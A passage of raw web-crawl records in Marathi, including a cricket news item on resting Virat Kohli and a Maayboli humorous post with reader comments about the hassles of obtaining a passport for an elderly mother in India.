वर्चस्व गाजवत ६-२ असा पुढे होता. दुसऱ्या सेटमध्ये जेव्हा ब्रेक देण्यात आला तेव्हा किदांबी ११-३ असा आघाडीवर होता. विश्रांतीनंतर अँटोन्सेन याने उत्तम खेळ केला पण किदांबीने त्याला आघाडी घेऊ दिली नाही. किदांबीने दुसरा सेट २१-१८ असा आपल्या नावे करत सामना जिंकला.\nहा सामना जिंकण्यासाठी त्याला ४० मिनिटे लागली. मागील फेरीचा सामना जिंकण्यासाठी त्याने फक्त २८ मिनिटे घेतली होती. हा सामना जिंकल्याने श्रीकांत किदांबी जागतिक बॅडमिंटन स्पर्धेच्या उपांत्यपूर्व फेरीत पोहचला आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00404.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mahasports.co.in/we-will-look-at-resting-kohli-after-test-series-says-msk-prasad/", "date_download": "2018-09-25T17:02:32Z", "digest": "sha1:6JDDCWJTTVGDJ5XC3B3MTT4O4SBYUUTD", "length": 8074, "nlines": 61, "source_domain": "mahasports.co.in", "title": "तर रोहित शर्मा होणार भारतीय संघाचा कर्णधार -", "raw_content": "\nतर रोहित शर्मा होणार भारतीय संघाचा कर्णधार\nतर रोहित शर्मा होणार भारतीय संघाचा कर्णधार\n भारतीय संघाचा मर्यादित षटकांच्या क्रिकेट संघाचा कर्णधार रोहित शर्मा श्रीलंकेविरुद्ध वनडे आणि टी२० मालिकेत भारतीय संघाचे नेतृत्व करू शकतो. कर्णधार विराट कोहलीला या मालिकेसाठी विश्रांती देण्यात येण्याची शक्यता एमएसके प्रसाद यांनी व्यक्त केली आहे.\nएमएसके प्रसाद यांनी विराट कोहली तिसरा कसोटी सामना खेळणार नसल्याची शक्यता फेटाळून लावली आहे. तसेच तो मर्यादित षटकांच्या दोन्ही मालिकेत न खेळण्याची शक्यता व्यक्त करण्यात आली आहे.\n” विराट श्रीलंकेविरुद्ध संपूर्ण कसोटी मालिकेसाठी उपलब्ध आहे. यात कोणताही संभ्रम असण्याचे कारण नाही. कसोटीमालिकेनंतर आम्ही त्याला विश्रांती देण्याचा विचार करतोय. त्याला विश्रांतीची गरज आहे आणि रोटेशन पद्धत कर्णधारालाही लागू होते. ” असे निवड समितीचे प्रमुख एमएसके प्रसाद म्हणाले.\nएमएसके प्रसाद यांनी निवड समितीच्या प्रमुख पदाचा कार्यभार स्वीकारल्यापासून रोटेशन पद्धतीने संघातील खेळाडूंना संधी देण्यात येत आहे. परंतु आयपीएल स्पर्धेपासून विराट कोहली २८ आंतरराष्ट्रीय सामन्यात खेळला असून भारतीय संघ या काळात खेळलेला प्रत्येक सामना विराट खेळला आहे. रोटेशन पद्धतीनुसार केवळ विराट असा एकमेव खेळाडू आहे ज्याला विश्रांती देण्यात आलेली नाही.\nसंघातील प्रत्येक खेळाडूला विश्रांती देण्याच्या धोरणामुळे कर्णधार असला तरी विराटलाही विश्रांती देण्यात येईल असे प्रसाद म्हणाले आहेत. तसेच पुढच्या वर्षी होणाऱ्या दक्षिण आफ्रिका दौऱ्यात हे शक्य नसल्यामुळे त्याला श्रीलंकेविरुद्धच्या मालिकेतच विश्रांती देण्यात येईल.\nयाचमुळे यावेळी संघाची जबाबदारी रोहित शर्माकडे असेल.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00404.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.maayboli.com/node/64297", "date_download": "2018-09-25T17:17:58Z", "digest": "sha1:HAMPRGLYR7GFRBGM4RPKQXWPN6I4W764", "length": 46796, "nlines": 257, "source_domain": "www.maayboli.com", "title": "पासपोर्ट काढणे एक विनोदी व्यथा.... | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /पासपोर्ट काढणे एक विनोदी व्यथा....\nपासपोर्ट काढणे एक विनोदी व्यथा....\nपुर्वी पासपोर्ट काढणे अवघड होते असे ऐकून होते. अलीकडच्या काळात ही प्रक्रिया विना एजंट सहज करता येते. अट फक्त एकच, तुमची सर्व कादपत्र व्यवस्थित हवी. समोरची व्यक्ती ज्या कागदपत्राची मागणी करेल तो समोर हजर करायचा. आमचे पासपोर्ट काढून झाले होते तेव्हा ईतका त्रास झाला नाही, पण काही दिवसांपुर्वी माझ्या आईचा पासपोर्ट काढायचे ठरले. तस जेष्ठ नागरीकांसाठी काय काय लागत हे साईटवर बघून झाल. त्यांच्या मागणीनुसारा 'अ' आणि 'ब' दोन गटांतील यादीतील कुठलही एक -एक डॉक्युमेंट पुरेस होत. यात आधार कार्ड आणि पॅनकार्ड हे तर आमच्याकडे होत. आम्ही लगेच कामाला लागलो. फॉर्म भरला, या दोन डॉक्स व्यतिरिक्त लाईटबिल, गॅस कार्ड, पासबूक असे ईतरही कागद ज्यात तिच नाव असेल असे जवळ ठेवले. आमचा अपॉईंटमेंटचा दिवस आला. आई आणि कागद पत्रांसकट आम्ही पासपोर्ट ऑफिसला पोहोचलो. पहिली फेरी झाली. मला हुश्श वाटल. पुढे दुसरी फेरी झाली तस अजून हायस वाटल. आता आम्ही शेवटच्या फेरीत आलो आणि आमचा नंबर आला होता त्या बाईसमोर बसलो. तिने सगळी कागदपत्र तपासली. काही क्षण पॉज घेतला आणि विचारल.... \" ह्यांच लग्ना आधीच नाव वेगळ होत का\" झाल, आमची पंचाईत झाली. खरं बोलाव की वेळ मारून न्यावी अस झाल. पण आम्ही हरिशचंद्रांच्या घराण्यातले असल्यामुळे आम्ही लगेचच हो म्हणून गेलो की लग्ना आधीच नाव वेगळ होत. मग तिचा पुढचा प्रश्न \" ते नाव फॉर्म मधे टाकल नाही\" झाल, आमची पंचाईत झाली. खरं बोलाव की वेळ मारून न्यावी अस झाल. पण आम्ही हरिशचंद्रांच्या घराण्यातले असल्यामुळे आम्ही लगेचच हो म्हणून गेलो की लग्ना आधीच नाव वेगळ होत. मग तिचा पुढचा प्रश्न \" ते नाव फॉर्म मधे टाकल नाही काय बोलावे ते कळेना. तस सांगीतल की पासपोर्ट सासरच्या नावानेच हवाय. हे नाव टाकायच असत हे माहीत न्हवत. तस तिने परत सांगीतल... \" पेपर आउट करा\" या वाक्याचा बराच वेळ काही संदर्भच लागेना. तिला परत विचारल नेमक काय. तस तिने सांगीतल...\" दोन न्युज पेपर मधे यांची अ‍ॅड द्या नाव बदल्याची. एवढ बोलून ती तिच्या पुढच्या कामाला लागली आणि आम्हाला पुढची अपॉईंटमेंट दिली.\nआम्ही घरी आलो. अ‍ॅड एजन्सीला फोन केला तेव्हा कळाले की अशी अ‍ॅड देण्यासाठी एफिडेवीट लागत. मग आम्ही तेही करून घेतल. अ‍ॅड पाठवली. परंतू पेपरला सुट्टी आल्याने आमची अ‍ॅड एक दिवस उशीरा येणार होती. तरीही ती अपॉईंटमेंटच्या एक दिवस आधी येणार होती. अचानक अ‍ॅड येणार त्याच्या एक दिवस आधी त्या एजंसी मधुन फोन आला. तिच्या मते आमची अ‍ॅड दिल्या तारखेला येऊ शकत न्हवती. हे ऐकल्यावर मला तर काहीच सूचेना. म्हणजे पुन्हा नविन तारखेची अपॉईट्मेट घ्या, मी तिला खडसावल तरीही ती अ‍ॅड द्यायला तयार होईना. शेवटी ज्या पेपरमधे अ‍ॅड येणार होती तिथे फोन केला. त्यांना सगळी परिस्थिती सांगीतली. आम्ही नियमाप्रमाणे चार दिवस आधी अ‍ॅड दिली होती. तरीही ती हवी त्या तारखेला येणार न्हवती. मग तो माणूस अ‍ॅड द्यायला तयार झाला. हो नाई करता ज्या दिवशी अपॉईंटमेंट होती त्या दिवशी अ‍ॅड येईल असे सांगीतले. मनात धाकधूक होत होती. पेपरवाल्याला सकाळीच पेपर टाकायला सांगीतला. त्या दिवशी सकाळी पेपर येताच पहिले पान हे अ‍ॅडचे बघितले, आईचे नाव...... दिसले, सापडले, अ‍ॅड आली. लगेच तिला घेउन परत पासपोर्ट ऑफिस गाठले. शेवटची फेरी पार पडली. हुश्श् करून बाहेर पडलो.\nआता पोलीस व्हेरीफिकेशन. रोज आईचा फोन चेक करायचा. काही मेसेज आलाय का ते पहायला. आमचे पासपोर्ट काढले तेव्हा आम्ही पोलीस स्टेशनला गेलो होतो. पण आइच्या वेळेस चक्क तो पोलीस घरी येतो म्हणाला. तस आईला घेऊन तिच्या घरी पोहोचलो. घरात झाडु मारला. खुर्च्या टाकल्या. ( वडील गेल्या पासून आई माझ्याकडे आणि बहीणिकडे थोडे थोडे दिवस राहते. त्यामुळे तिच घर बंदच असते. घरातील सामान नुकतेच पॅक करून एका खोलीत टाकून ठेवले.) पोलीस आले, त्यांच्या शोधक नजरेने त्यांनी लगेच ओळखले की या घरात कोणी राहात नाही. तस त्यांनी प्रश्न केला.\n\" तुम्ही ईथे रहात नाही का\", झालं..... आता काय बोलाव. तस त्यांना सांगीतल की मुलाच्या सुट्ट्या चालू असल्यामुळे आईला माझ्याकडे नेले आहे. तरीही हे उत्तर त्यांना पटले नाही. दोनचार वाकडे प्रश्न केलेच. मग आईचे अजून काही डॉक्स त्यांनी मागीतले. शाळ सोडल्याचा दाखला. आता तो काही आईकडे न्हवता. मग जन्म दाखला. तो होता पण त्यावर तिच नावच न्हवत. त्यात फक्त जन्म तारीख आणि आई वडिलांचे नाव एवढच होत. तो ही त्यांना पटला नाही. हो नाई करता. त्याने सांगीतले कि तुम्ही तुमच्या मुलिंच्या घराचे पत्ते यात का टाकले नाहीत. तुम्ही तिथे राहता तर ते टाकायला हवे. अरे देवा.... आता हे काय..... या सगळ्यातून एक लक्षात आले की एजंट का हवा.\nआता तो पोलीस सांगून गेला आहे की फॉर्म मधे दोघी मुलींचे पत्ते घाला.\nआता हे सगळ जवळ जवळ महिनाभर चालु आहे. अजूनही काम अर्धवटच आहे. बघूया पुढे काय होतय.......\nगुलमोहर - विनोदी लेखन\nह्म्म. जेव्हा त्यांनी विचारलं\nह्म्म. जेव्हा त्यांनी विचारलं की 'आधीचं नाव वेगळं होतं का' तिथेच तुम्ही ती अपॉइन्टमेंट रद्द करुन नवीन घ्यायला हवी होती आणि नव्याने केस मांडायला हवी होती. पेपर आउट करायचा वेळ आणि मनस्ताप वाचला असता. तिथे बसलेल्या अधिकार्‍यांकडे जाण्याआधी पुरेशी तयारी करुनच जायला हवी, हल्ली अर्ज देण्याआधी योग्य ते वेरिफिकेशन करुनच अर्ज वॅलिड आहे की अजून काय पाहिजे याबद्दल व्यवस्थित मार्गदर्शन पासपोर्ट ऑफिसमध्ये केले जाते. अर्थात तुम्हाला अनुभव आहेच. तसेच मी काही तज्ञ नाही, हे माझे वै म आहे.\nतुमची सर्व कादपत्र व्यवस्थित हवी. समोरची व्यक्ती ज्या कागदपत्राची मागणी करेल तो समोर हजर करायचा.\nहे जरा ट्रिकी आहे. समोरची व्यक्ती कोणत्या कागदांची मागणी करेन हे आधीच स्पष्ट असले पाहिजे. विहित यादीतल्या कागदांशिवाय इतर कोणताही कागद ऐनवेळेला कोणताही अधिकारी मागू शकत नाही. त्यासाठी त्यांना लिखित स्वरुपात तसे कागदपत्र उपलब्ध करण्याबद्दल लिहून द्यावे लागते. तोंडी मागणी वॅलिड नाही. तसेच शासकिय अधिकार्‍यांकडे बरेचदा कोणत्याही नियमांचे पालन करायचे व न करायचे काहीही कायदेशीर स्पष्टीकरण नसतं. ते त्यांच्या 'विलिंगनेस'वर अवलंबून असतं (हेच भारतातल्या भ्रष्टाचाराच्या वटवृक्षाचे सोटमूळ आहे.)\nपोलिस व्हेरिफिकेशन मध्ये कागदपत्र मागणे कायद्यात बसते का ह्याबद्दल मी साशंक आहे. कारण पापोचा अर्ज सर्व कागद नीट आहेत तेव्हाच स्विकारला जातो. पोलिसांचे काम केवळ सदर व्यक्तीचे राहत्या ठिकाणी किती काळ वास्तव्य आहे , खरेच आहे का व काही गुन्हेगारी पार्श्वभूमी आहे का इतकेच तपासणे असते असे वाटते. याउप्पर जास्त चवकशा ह्या हात खाजवत असल्याचे लक्षण समजाव्या.\nहो अगदी खरं आहे हे अनुभव\nहो अगदी खरं आहे हे अनुभव कित्येकांच्या बाबतीत येतात माझ्या वडिल दोन वेळेस अमेरिकेत जाऊन आलेत पण त्यापूर्वी त्यांच्या दहावीच्या सर्टिफिकेट मध्ये एक स्पेल्लींग जास्त होत तर जाहिरात देऊन तो मामला लवकर निपटला....तशी एजंटची गरज नाहीये कुणी याआधी काढला असेल तर प्राथमिक माहिती घ्या... पासपोर्ट लवकर निघावा ययासाठी शुभेच्छा....\nनाना, कागदपत्रे कुठली हवीत,\nनाना, कागदपत्रे कुठली हवीत, ह्याबद्दल अंतिम निर्णय असिस्टंट पासपोर्ट ऑफिसर किंवा रिजनल पासपोर्ट ऑफिसर ह्यांचाच असतो. ते ऐनवेळी कोणताही कागद मागू शकतात. विहित यादीच्या खाली तशी तळटीपही लिहिलेली असते. मी स्वतःच ह्याचा अनुभव काही महिन्यांपूर्वीच घेतलेला आहे.\n पण ह्यात एजंट काही करु\n पण ह्यात एजंट काही करु शकत नाहीत असाही अनुभव आहे. कारण ऑफिसर मागतील ते सर्व कागदपत्रं उपलब्ध करुन देणे हे ज्याचे त्यालाच करावे लागते. तेव्हा एजंटपासून दूरच राहावे असे माझे मत. पासपोर्ट ऑफिसर योग्य ती मदत करतात, एजंटची जरुर नाही.\nज्येष्ठ महिला नागरिकांना नांव\nज्येष्ठ महिला नागरिकांकडे नांव बदललेल्याचा पुरावा मागणं हाच मोठा विनोद आहे...\nऐजेंत ची गरज नाहीय ओ... मिळेल\nऐजेंत ची गरज नाहीय ओ... मिळेल तुम्हाला पासपोर्ट नक्की..\nपोलिसाला चहा पाणी दिलता का \nमाझ्या स्वतःचा पासपोर्ट एजंटशिवाय काही कटकट न होता झाला पण आई वडिलांचा मात्र एजंटमार्फत काढला त्यांनी कारण त्यांना जास्ती कटकट नको होती. पण पासपोर्ट कार्यालयात सध्या तरी एजंट ची गरज ही फक्त आपण आपल्याकडे असलेली कागदपत्रे बरोबर आहेत ना या करताच भासते. जर फॉर्म भरून नीट वाचून कागद घेऊन गेलो तर गरज भासायला नको, तरीही भाचा म्हणतो तसे शेवाटी अंतीम निर्णय हा त्या अधिकार्‍याचाच असतो\nहो, एजंटची गरज नाही हे खरेच.\nहो, एजंटची गरज नाही हे खरेच. फक्त एखादी खेप पडण्यापेक्षा अगदी गरज नसलेला कागदही जवळ ठेवावा, हे स्वानुभवाचे बोल.\nतुमचा अनुभव खरंच वेगळा आहे.\nतुमचा अनुभव खरंच वेगळा आहे. खरंतर पासपोर्ट काढण्यात कोणत्या मार्गाने अडचणी येतील सांगता येत नाही. माझ्यावेळी तर पोलीस व्हेरिफिकेशन पर्यंत सर्व गोष्टी एकदम सुरळीत झाल्या. परंतू पापो फॉर्म वर आपला पत्ता कोणत्या पोलीस स्टेशनच्या अखत्यारीत येतो तेथे मी आमच्या सर्वात जवळच्या स्टेशनचे नाव टाकले. जवळ जवळ १ महिना पाठपुरावा करुनही व्हेरिफिकेशन फॉर्मच पोलिसांकडे न आल्याने चौकशी केल्यावर समजले की आम्ही रहातो तिच इमारत रस्त्याच्या पलीकडे असल्याने ग्रामीण पोलिसांच्या अख्त्यारित येत होती. या सर्व सोपस्कारांतून पासपोर्ट मिळण्यास २ महिने उशीर झाला. त्यामुळे इच्छुकांनी फॉर्म भरताना आपले पोलीस स्टेशन तपासून घ्यावे एवढा एक अगाऊ सल्ला.\nमाझे पासपोर्ट चे काम एजंट\nमाझे पासपोर्ट चे काम एजंट शिवाय अगदी पटकन झालेलं पण पोलिस व्हेरिफिकेशन ला ते घरी येतील असे समजून वाट बघत बसलो.\nअसेही पासपोर्ट कधीतरी लागेल म्हणून काढला होता त्यामुळे घाई नव्हतीच, महिनाभराने विसरून गेलो आणि आठ नऊ महिन्यांनी आठवण झाली तेव्हा मग मीच पोलीस शोधत गेलो तेव्हा त्यांनीच खडसावले इतके दिवस काय करत होता\nआपल्या एक दिवसाचा पगार एजंट\nआपल्या एक दिवसाचा पगार एजंट फी पेक्षा जास्त असेल तर सुट्टी खर्च करण्यापेक्षा एजंट वापरायला हरकत नाही असा विचार करून मी शक्यतो मनस्ताप टाळायला बघतो. तसेही मला पित्ताचा त्रास असल्याने उन्हात फिरणे टाळतोच.\n@ पासपोर्ट - आम्ही पंधरा जणांच्या ग्रूपने एकत्र काढल्याने एजंट फारच स्वस्तात पडलेला.\nऋ, काही फेकंफाक करु नकोस\nऋ, काही फेकंफाक करु नकोस प्लिज. टाटा बिर्ला अंबानी असेल तरीही त्याला स्वत:ला पासपोर्ट ऑफिसला जावे लागतेच.\nपेपर्स क्लियर असतील तर हल्ली\nपेपर्स क्लियर असतील तर हल्ली पासपोर्ट २४ तासात येतो (पुण्यात) असं ऐकलं पण नेम चेंज, अड्रेस हे मुद्दे पक्के हवेत. लांच देणे, एजन्ट असं काही करावं लागत नाही.\nसाधा पासपोर्ट २४ तासात येतो तर तात्काळ मधे काय हा प्रश्न आहे. बहुधा तात्काळ मध्ये पेपर्स सबमिट झाले की गरमागरम ताजा पासपोर्ट देऊनच घरी सोडत असावेत\nऋ, काही फेकंफाक करु नकोस\nऋ, काही फेकंफाक करु नकोस प्लिज. टाटा बिर्ला अंबानी असेल तरीही त्याला स्वत:ला पासपोर्ट ऑफिसला जावे लागतेच.\nमला माहीतही नाहीये की पासपोर्ट ऑफिस कुठे आहे आणि तिथे काय करतात. एजंट आला, सर्वांचे ओरिजिनल घेऊन गेला. मी कुठेही गेलो नाही. पोलिसस्टेशनला मात्र मी गेलेलो. ते देखील विभागातलेच असल्याने संध्याकाळी ऑफिसहून परतताना चक्कर टाकली. सुट्टी टाकावी लागली नाही.\nमी पासपोर्ट 2008 साली काढलाय. तेव्हाचे आणि आताचे रूल्स वेगळे असतील तर कल्पना नाही. ईतर कोणी माझ्यासारखे पासपोर्ट ऑफिसला न जाता पासपोर्ट काढला असेल तर ते प्रकाश टाकतील.\nपुण्यात पासपोर्ट रिलटेड काहीही फास्ट होतं यावर माझा विश्वास नाही.\nठाण्यात महिन्याभरात पासपोर्ट घरी आलेला. नंतर काही वर्षांनी पुण्यात पुलिस क्लिअर्न्स फक्त हवा होता तो पासपोर्ट हापिस थ्रु होतो.. मेन पुलिस क्लिअर्न्स मी फेर्या मारुन लोकल पुलिस, कमिशनर हापिस, तिकडून पासपोर्ट हापिस हे आठवड्यात उरकलं.\nपासपोर्ट हापिसला आलेल्या मेल्स मधून पासपोर्ट शोधणे यासाठी चकरा मारल्या पण लक्षात आलं की एजंटच्या माथी अडीच तीन हजार घातल्याशिवाय वेळेत मिळणार नाही. सहा महिने थांबणे मला शक्य न्हवते.\nअत्यंत गलथान ऑफिस आहे.\nघर/ जागा बदलणे जर लीगल आहे तर ड्रायव्हिंग लायसन्स, पासपोर्टवर पत्ता बदलणे रॉकेट सायन्स का करतात\nघर/ जागा बदलणे जर लीगल आहे तर\nघर/ जागा बदलणे जर लीगल आहे तर ड्रायव्हिंग लायसन्स, पासपोर्टवर पत्ता बदलणे रॉकेट सायन्स का करतात\nईतर कोणी माझ्यासारखे पासपोर्ट\nईतर कोणी माझ्यासारखे पासपोर्ट ऑफिसला न जाता पासपोर्ट काढला असेल तर ते प्रकाश टाकतील. >>>\nहो हो मी काढला ऋ म्हणतात तसा पासपोर्ट.\nसगळे डॉक्यूमेंट्स जमा केले. नंतर ते स्कैन करून आपल्या ऋ ला माबोच्या संपर्कमेल सुविधेतून पाठवले. पुढे ऋ नं ते एजंटथ्रू प्रोसेस करून तयार पासपोर्ट मला विपूतून लिंक देऊन गुगल ड्राईव्ह वरून डाउनलोड करून घेण्यास सांगितला. सकाळी आठला सुरू झालेली प्रोसेस अकरा वाजेपर्यंत तिन तासात संपली...आणि हो मध्ये साडेनऊ वाजता मला एक कॉल आला त्यावर विचारण्यात आले, 'राहुल *** आपणच का' म्हटलो हो. तिकडून सांगण्यात आले, 'तुमचे पासपोर्ट साठीचे पोलिस व्हेरिफिकेशन झाले आहे. अभिनंदन' म्हटलो हो. तिकडून सांगण्यात आले, 'तुमचे पासपोर्ट साठीचे पोलिस व्हेरिफिकेशन झाले आहे. अभिनंदन' जिओ नेटवर्क फ्री असल्याने काही खर्चही आला नाही. अच्छे दिन\nजरा एजंटचे कॉन्टॅक्ट डिटेल्स\nजरा एजंटचे कॉन्टॅक्ट डिटेल्स मिळतील का ऋ\nऑफिस ला काम करताना किमान\nऑफिस ला काम करताना किमान ग्रॅज्युएट असावे\nपासपोर्टसाठी तरी निदान असे गृहीत धरून चालू\nऑफिस बॉय असल्यास माहिती नाही\nतर किमान वय २२ वर्षे, तेही आता सर्व सामान्य लोकांबद्दल बोलतोय म्हणून. काही विशिष्ट लोकांची वेगळी असतील परिमाणे.\nतर २००८ मध्ये जी व्यक्ती किमान २२ वर्षाची असेल तर आज ३१ च्या घरात असायला हवी.\nनानाकळा जुनी गोष्ट आहे.\nनानाकळा जुनी गोष्ट आहे. एजण्टसचे डिटेल्स शोधणे अवघड आहे. एका मित्राच्या भावाचा ऑफिसग्रूप होता. त्यात आम्ही जॉईन होत पंधरा जण झालेलो. आपले ओरिजिनल असे कोणाच्या हातात सोपवावे का म्हणून आम्ही असाही विचार केलेला की त्यासोबत एखाद्याने जावे का पण कोण स्वताहून तयार न झाल्याने आमच्यातील तरी कोणीही सोबत गेले नाही. मित्राच्या भावाच्या ऑफिसमधील कोण गेले असेल तर कल्पना नाही. बाकी मला खरेच अजूनही माहीत नाही की पासपोर्ट ऑफिस आहे कुठे\nबाकी हे मी काही फुशारक्या मारायला लिहित नाहीये की मी बघा कसे पासपोर्ट ऑफिसला न जाता पासपोर्ट मिळवला की माझी कशी वट आहे. यात माझे काहीच कर्तुत्व नव्हते. मी फक्त पंधरा जणांच्या घोळक्यातील एक मेंढरू होतो ईतकेच.\nपेपर्स क्लियर असतील तर हल्ली\nपेपर्स क्लियर असतील तर हल्ली पासपोर्ट २४ तासात येतो (पुण्यात) असं ऐकलं\nपोलिस व्हेरिफिकेशन झाले की पासपोर्ट प्रिंट , लॅमिनेशन , व्हेरिफिकेशन आणि स्पीड पोस्ट नी पाठवणे हे एका दिवसात होते. जर ४५ रुपये भरुन SMS अपडेट ची सुविधा घेतली असेल तर एका दिवसात दर तासा- दोन तासात चार SMS येतात. जर ४५ रुपये नाही भरले तर ईमेल मध्ये पोलिसा कडॅ फाईल गेल्यावर, आणि पासपोर्ट डिस्पॅअच झाल्यावर ईमेल येते. पोलिस वेरिफिकशन ईमेलमध्ये जर पोलिस _ _दिवसात घरी नाही आले तर स्टेशन वर जा असे लिहलेले असते.\nपोलिस व्हेरिफिकेशन ला वेळ लागतो. सध्या प्रत्येक पोलिस व्हेरिफिकेशन पोलिस हेडकॉर्टर मधे डेटाबेस मधुन जात असल्याने त्यात ३-४ दिवस लागतात. तात्काळ असेल तर हे काम लवकर होते. तात्काळ मध्ये पोलिस वेरिफिकेशन त्यादिवशी किंवा दुसर्या दिवशी चालु होऊन २ दिवसात संपते. साध्या पासपोर्ट मध्ये ६-८ दिवस लागातात.\nजर पोलिसानी जेव्हा बोलवले त्या दिवशी जाउन फोटो सेशन केले तर तात्काळ मध्ये ५ दिवसात आणि साधा ८-१० दिवसात घरी पासपोर्ट येतो.\nएजंट जरी असेल तरी पासपोर्ट ऑफिस मध्ये एकट्यालाच जावे लागते. फक्त १८ वर्षा खालील मुला -मुली बरोबर आई- वडिल आणि ज्येष्ठ नागरिका बरोबर एक जण जाउ शकतात. हल्ली फोटो आणि बायोमॅट्रीक पासपोर्ट ऑफिस मध्येच घेत असल्याने एजंट चे काम नाही.\nSMS सेवा घेतली नसेल तर पोलिस व्हेरिफिकेश कुठपर्यन्त आले ते पोलिसाच्या वेबसाईट वर आणि पासपोर्ट चे काम कुठपर्यन्त आले ते पासपोर्ट च्या वेबसाईट वर बघु शकतो.\nवरील सगळी माहिती गेल्या महिन्यात आलेल्या स्वानुभावा वरुन लिहलेली आहे.\nपासपोर्ट ऑफीस मध्ये किंवा पोलिसा बरोबर कधी कधी सिलेक्टिवली खरे सांगायचे असते. जर तुम्ही ईथे रहात नाही का प्रश्न विचारला तर सध्या तरी ईकडेच असते (जरी १ दिवस जरी राहात असला तरी हे उत्तर खरे आह्रे) , घर माझ्या / माझ्या नवर्याचा नावावर आहे. हा माझा permanent address आहे ( यातले जे खरेआहे ते) असे सांगायचे असते. हल्ली काही ठिकाणी पोलिस स्टेशन वर पण जाउन फोटो काढ्ला जातो.\nजर लग्नात फक्त आडनाव बदलले असेल तर, पासपोर्ट ऑफिस मध्ये माझ्या जन्मापासुन माझे नाव हेच आहे असे आडनावचा उल्लेख न करता सांगितले तरी चालते.\nमॅरेज सर्टिफिकेट असेल तर लग्नात बायकाचे नाव बदलले असेल तर काही समस्या येत नाही. लग्नात नाव बदलले असेल आणि मॅरेज सर्टिफिकेट नसेल तर मात्र मोठा ईश्यु होतो.\nऑफिस ला काम करताना किमान\nऑफिस ला काम करताना किमान ग्रॅज्युएट असावे\nमी तेव्हा डिप्लोमाला होतो.\nआम्हाला सहाव्या आणि सातव्या सेमीस्टरला एक वर्ष ट्रेनिंग असते. कॉलेज नसते. कामाला जातो. त्याचा पगार मिळतो. ग्रॅज्युएट दूरची गोष्ट, डिप्लोमाही कम्प्लीट झाला नव्हता\nनसता आला तर मला बाहेर जाऊन बघावे लागले असते की आज सूर्य कुठून उगवलाय ते बघायला.\nआशुचॅम्प, सत्य हे 